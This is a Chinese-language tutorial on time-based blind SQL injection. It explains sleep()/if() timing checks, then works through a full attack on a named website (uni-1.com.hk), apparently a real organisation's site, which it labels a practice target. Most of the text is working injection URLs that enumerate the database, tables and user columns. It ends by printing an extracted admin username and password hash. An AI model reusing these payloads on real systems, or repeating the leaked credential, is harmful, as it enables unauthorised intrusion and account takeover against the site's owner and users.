时间盲注
漏洞原理
网页的返回值只有一种,就是true,无论输入任何值,返回情况都会按照正常的来处理,加入特定的时间函数,通过查看web页面返回的时间差来判断注入语句是否执行成功
时间盲注和布尔型盲注类似,时间盲注就是利用时间函数的延迟特性来判断注入
什么情况下使用时间盲注?
该输入框或者交互点存在注入
该页面不会回显注入的语句执行结果,也就是无法使用union注入
对数据库的报错做了处理,无论用户怎么输入都不会显示报错信息,无法使用报错注入
符合盲注特征,但是不属于布尔型盲注
常用函数
sleep(n):将程序挂起一段时间,为n秒
select sleep(3);
当注入条件成立的时候,数据库会执行sleep()延迟函数,从而导致页面的响应时间显著增加;反之条件不成立,则不会执行sleep()函数
if(expr1,expr2,expr3):判断语句,如果第一个语句正确,则执行第二个语句,反之则执行第三个语句
sleep()函数和if()函数结合使用
时间盲注靶场
http://www.uni-1.com.hk/
判断注入点和注入类型
http://www.uni-1.com.hk/training_tc.php?id=13
由前文可知为数字型注入
http://www.uni-1.com.hk/training_tc.php?id=13and sleep(3) --+
网页延迟三秒响应,就可以判断出来存在时间盲注
判断数据库名长度
http://www.uni-1.com.hk/training_tc.php?id=13 and if(length(database())=7,sleep(3),1)--+
二分法,长度为7
判断数据库名
http://www.uni-1.com.hk/training_tc.php?id=13 and if(ascii(mid(database(),2,1))=117,sleep(3),1)--+
爆破得uni1db1
判断表的数量
http://www.uni-1.com.hk/training_tc.php?id=13 and if((select count(table_name) from information_schema.tables where table_schema='uni1db1') = 8 ,sleep(3),1) --+
判断表的长度
http://www.uni-1.com.hk/training_tc.php?id=13 and if(length(substr((select table_name from information_schema.tables where table_schema="uni1db1" limit 0,1),1)) = 8,sleep(3),1) --+
依次可得八个表的长度依次为8 6 7 4 4 12 4 4
判断表的名称
http://www.uni-1.com.hk/training_tc.php?id=13and if(ascii(substr((select table_name from information_schema.tables where table_schema=’uni1db1’ limit 0,1),1,1)) = 99 ,sleep(3),1) --+
burp爆破得到category,course,enquiry,news,page,registration,text,user
肯定看user
判断列的数量
http://www.uni-1.com.hk/training_tc.php?id=13and if((select count(column_name) from information_schema.columns where table_schema='uni1db1' and table_name='user')=6,sleep(3),1) --+
判断列的长度
http://www.uni-1.com.hk/training_tc.php?id=13and if(length(substr((select column_name from information_schema.columns where table_schema='uni1db1' and table_name='user' limit 0,1),1))=7,sleep(3),1) --+
http://www.uni-1.com.hk/training_tc.php?id=13 and if(length(substr((select column_name from information_schema.columns where table_schema='uni1db1' and table_name='user' limit 1,1),1))=5,sleep(3),1) --+
依次可得列长为7 5 8 8 2 10
判断列的名称
http://www.uni-1.com.hk/training_tc.php?id=13and if(ascii(substr((select column_name from information_schema.columns where table_schema='uni1db1' and table_name='user' limit 0,1),1,1))=117,sleep(3),1) --+
burp爆破可得user_id,state,username,password,IP,last_login
判断数据长度
http://www.uni-1.com.hk/training_tc.php?id=13 and if(length(substr((select password from user limit 0,1),1))=32,sleep(3),1) --+
判断数据的名称
http://www.uni-1.com.hk/training_tc.php?id=13and if(ascii(substr((select username from user limit 0,1),1,1))=97,sleep(3),1) --+
http://www.uni-1.com.hk/training_tc.php?id=13 and if(ascii(substr((select password from user limit 0,1),1,1))=56,sleep(3),1) --+
burp爆破得到admin 80bac55c175d255a520f5112d5e8f07c